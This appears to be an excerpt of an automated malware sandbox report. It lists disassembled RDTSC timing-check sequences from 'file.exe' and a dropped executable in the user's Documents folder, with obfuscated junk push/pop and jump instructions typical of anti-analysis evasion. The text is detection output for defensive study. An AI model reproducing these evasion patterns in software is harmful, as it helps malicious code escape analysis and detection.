Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806A1 second address: 4E806A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806A5 second address: 4E806AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806AB second address: 4E806D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF773h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c pushad 0x0000000d mov cl, E2h 0x0000000f mov cx, di 0x00000012 popad 0x00000013 inc edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806D3 second address: 4E806D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806D7 second address: 4E806DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806DB second address: 4E806E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806E1 second address: 4E80776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF777h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F28606BF776h 0x00000010 jne 00007F28D1157AD1h 0x00000016 pushad 0x00000017 push ecx 0x00000018 mov ebx, 0DA7BA90h 0x0000001d pop ebx 0x0000001e mov bx, si 0x00000021 popad 0x00000022 mov ecx, edx 0x00000024 jmp 00007F28606BF770h 0x00000029 shr ecx, 02h 0x0000002c jmp 00007F28606BF770h 0x00000031 rep movsd 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 rep movsd 0x00000039 rep movsd 0x0000003b jmp 00007F28606BF770h 0x00000040 mov ecx, edx 0x00000042 pushad 0x00000043 mov esi, 2C275D49h 0x00000048 popad 0x00000049 and ecx, 03h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F28606BF76Bh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80776 second address: 4E80787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, CDh 0x00000005 mov bx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80787 second address: 4E8078D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8078D second address: 4E80791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80791 second address: 4E807AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov di, 61A4h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807AA second address: 4E807F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F286071A1BEh 0x00000012 and ax, 6788h 0x00000017 jmp 00007F286071A1BBh 0x0000001c popfd 0x0000001d mov di, si 0x00000020 popad 0x00000021 mov ecx, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807F6 second address: 4E807FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807FA second address: 4E807FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807FE second address: 4E80804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80804 second address: 4E8081D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F286071A1C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8081D second address: 4E80862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f jmp 00007F28606BF76Dh 0x00000014 pop ecx 0x00000015 jmp 00007F28606BF76Eh 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F28606BF777h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80862 second address: 4E8087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F286071A1C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8087A second address: 4E804C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F28606BF774h 0x00000013 sub si, B368h 0x00000018 jmp 00007F28606BF76Bh 0x0000001d popfd 0x0000001e call 00007F28606BF778h 0x00000023 mov cx, 9661h 0x00000027 pop eax 0x00000028 popad 0x00000029 pop ebx 0x0000002a jmp 00007F28606BF76Dh 0x0000002f leave 0x00000030 jmp 00007F28606BF76Eh 0x00000035 retn 0008h 0x00000038 cmp dword ptr [ebp-2Ch], 10h 0x0000003c mov eax, dword ptr [ebp-40h] 0x0000003f jnc 00007F28606BF765h 0x00000041 push eax 0x00000042 lea edx, dword ptr [ebp-00000590h] 0x00000048 push edx 0x00000049 call esi 0x0000004b push 00000008h 0x0000004d pushad 0x0000004e movzx esi, bx 0x00000051 mov dh, 13h 0x00000053 popad 0x00000054 call 00007F28606BF769h 0x00000059 jmp 00007F28606BF778h 0x0000005e push eax 0x0000005f jmp 00007F28606BF76Bh 0x00000064 mov eax, dword ptr [esp+04h] 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b push esi 0x0000006c pop edi 0x0000006d push ecx 0x0000006e pop ebx 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A0F second address: 4E80A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushfd 0x00000006 jmp 00007F286071A1BDh 0x0000000b and si, 09E6h 0x00000010 jmp 00007F286071A1C1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F286071A1C3h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A54 second address: 4E80A66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 mov edi, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov edi, eax 0x00000012 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7C8A2C second address: 7C8A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7C8A32 second address: 7C8A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jg 00007F28606BF766h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edi 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F28606BF76Bh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7C8BBC second address: 7C8BDA instructions: 0x00000000 rdtsc 0x00000002 je 00007F286071A1B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F286071A1BEh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7C8D52 second address: 7C8D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7C8D56 second address: 7C8D69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7C8D69 second address: 7C8D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7C8D72 second address: 7C8D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F286071A1BCh 0x0000000f jnc 00007F286071A1B6h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CAB71 second address: 7CABFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F28606BF775h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F28606BF768h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 pushad 0x00000029 sub dword ptr [ebp+122D2640h], eax 0x0000002f mov edx, edi 0x00000031 popad 0x00000032 or dword ptr [ebp+122D3882h], ebx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F28606BF768h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 movsx ecx, si 0x00000057 call 00007F28606BF769h 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f push esi 0x00000060 pop esi 0x00000061 push esi 0x00000062 pop esi 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CABFC second address: 7CAC13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CAC13 second address: 7CACC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F28606BF76Ah 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F28606BF770h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jne 00007F28606BF774h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 jmp 00007F28606BF778h 0x00000026 jnp 00007F28606BF768h 0x0000002c push esi 0x0000002d pop esi 0x0000002e popad 0x0000002f pop eax 0x00000030 and esi, 26FEEA72h 0x00000036 push 00000003h 0x00000038 mov ch, 16h 0x0000003a mov dword ptr [ebp+122D1D0Ch], ebx 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 mov cx, 2806h 0x00000047 pop edi 0x00000048 push 00000003h 0x0000004a call 00007F28606BF769h 0x0000004f jmp 00007F28606BF76Fh 0x00000054 push eax 0x00000055 jmp 00007F28606BF776h 0x0000005a mov eax, dword ptr [esp+04h] 0x0000005e pushad 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CACC5 second address: 7CACDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007F286071A1BCh 0x0000000b ja 00007F286071A1B6h 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CACDE second address: 7CAD36 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jg 00007F28606BF779h 0x00000012 jmp 00007F28606BF773h 0x00000017 jmp 00007F28606BF779h 0x0000001c popad 0x0000001d pop eax 0x0000001e lea ebx, dword ptr [ebp+1244FA5Ch] 0x00000024 mov esi, dword ptr [ebp+122D3B52h] 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jnc 00007F28606BF766h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CAD36 second address: 7CAD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CAD3B second address: 7CAD40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CADEC second address: 7CADF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CADF0 second address: 7CADFA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CADFA second address: 7CAE04 instructions: 0x00000000 rdtsc 0x00000002 js 00007F286071A1BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CAE04 second address: 7CAE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jbe 00007F28606BF776h 0x00000010 jmp 00007F28606BF770h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB045 second address: 7CB0A0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F286071A1B6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 6D60AF3Eh 0x00000013 add dword ptr [ebp+122D1D0Ch], ebx 0x00000019 push 00000003h 0x0000001b jmp 00007F286071A1C4h 0x00000020 push 00000000h 0x00000022 call 00007F286071A1C2h 0x00000027 sbb edx, 74CFC912h 0x0000002d pop esi 0x0000002e push 00000003h 0x00000030 call 00007F286071A1B9h 0x00000035 push eax 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB0A0 second address: 7CB0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 jp 00007F28606BF766h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F28606BF775h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB0C7 second address: 7CB0CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB0CB second address: 7CB123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b ja 00007F28606BF770h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push esi 0x00000014 push esi 0x00000015 jmp 00007F28606BF76Bh 0x0000001a pop esi 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007F28606BF76Ah 0x00000025 pop eax 0x00000026 mov edx, dword ptr [ebp+122D393Ah] 0x0000002c lea ebx, dword ptr [ebp+1244FA70h] 0x00000032 mov dword ptr [ebp+122D1CE0h], ecx 0x00000038 xchg eax, ebx 0x00000039 jl 00007F28606BF788h 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB123 second address: 7CB127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB127 second address: 7CB148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF776h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB148 second address: 7CB14E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7CB14E second address: 7CB152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EC2F6 second address: 7EC2FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EC2FA second address: 7EC306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EC306 second address: 7EC30A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7BCD0B second address: 7BCD24 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F28606BF76Fh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EA23F second address: 7EA243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EA243 second address: 7EA255 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F28606BF766h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EA255 second address: 7EA268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EA268 second address: 7EA26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EA3DB second address: 7EA415 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F286071A1BCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F286071A1C7h 0x00000012 jmp 00007F286071A1BFh 0x00000017 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EA99D second address: 7EA9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EAC6C second address: 7EAC72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EAC72 second address: 7EAC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F28606BF774h 0x0000000a pop ebx 0x0000000b js 00007F28606BF774h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EAC96 second address: 7EAC9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EADFE second address: 7EAE02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EAE02 second address: 7EAE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EAF83 second address: 7EAFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jne 00007F28606BF77Eh 0x0000000b jmp 00007F28606BF776h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F28606BF773h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EB2BA second address: 7EB2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EB2C0 second address: 7EB2CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F28606BF766h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7DF2CE second address: 7DF2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7DF2D6 second address: 7DF2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7B46A4 second address: 7B46A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EB465 second address: 7EB46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EB46B second address: 7EB47A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F286071A1B6h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EBA2F second address: 7EBA33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EBD0F second address: 7EBD3B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007F286071A1B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F286071A1C6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 je 00007F286071A1B6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EF9EC second address: 7EFAD4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov edi, esi 0x0000000e popad 0x0000000f jns 00007F28606BF777h 0x00000015 popad 0x00000016 push dword ptr fs:[00000000h] 0x0000001d jc 00007F28606BF767h 0x00000023 clc 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F28606BF768h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 jmp 00007F28606BF770h 0x0000004a lea eax, dword ptr [ebp+12474E50h] 0x00000050 cld 0x00000051 